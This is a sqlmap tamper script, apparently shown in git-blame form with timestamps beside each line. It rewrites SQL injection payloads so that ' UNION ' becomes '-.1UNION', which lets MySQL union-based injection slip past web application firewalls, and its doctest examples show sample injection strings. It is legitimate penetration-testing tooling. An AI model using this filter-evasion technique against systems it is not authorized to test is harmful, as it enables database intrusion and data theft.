2020-07-27 15:01:12 +03:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
"""
|
2024-01-04 01:11:52 +03:00
|
|
|
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
|
2020-07-27 15:01:12 +03:00
|
|
|
See the file 'LICENSE' for copying permission
|
|
|
|
"""
|
|
|
|
|
2020-08-04 11:34:18 +03:00
|
|
|
import os
|
2020-07-27 15:01:12 +03:00
|
|
|
import re
|
|
|
|
|
2020-08-04 11:34:18 +03:00
|
|
|
from lib.core.common import singleTimeWarnMessage
|
|
|
|
from lib.core.enums import DBMS
|
2020-07-27 15:01:12 +03:00
|
|
|
from lib.core.enums import PRIORITY
|
|
|
|
|
|
|
|
__priority__ = PRIORITY.HIGHEST
|
|
|
|
|
|
|
|
def dependencies():
|
2020-08-04 11:34:18 +03:00
|
|
|
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
|
2020-07-27 15:01:12 +03:00
|
|
|
|
|
|
|
def tamper(payload, **kwargs):
|
|
|
|
"""
|
|
|
|
Replaces instances of UNION with -.1UNION
|
|
|
|
|
|
|
|
Requirement:
|
|
|
|
* MySQL
|
|
|
|
|
|
|
|
Notes:
|
|
|
|
* Reference: https://raw.githubusercontent.com/y0unge/Notes/master/SQL%20Injection%20WAF%20Bypassing%20shortcut.pdf
|
|
|
|
|
|
|
|
>>> tamper('1 UNION ALL SELECT')
|
|
|
|
'1-.1UNION ALL SELECT'
|
|
|
|
>>> tamper('1" UNION ALL SELECT')
|
|
|
|
'1"-.1UNION ALL SELECT'
|
|
|
|
"""
|
|
|
|
|
2020-11-10 01:02:48 +03:00
|
|
|
return re.sub(r"(?i)\s+(UNION )", r"-.1\g<1>", payload) if payload else payload
|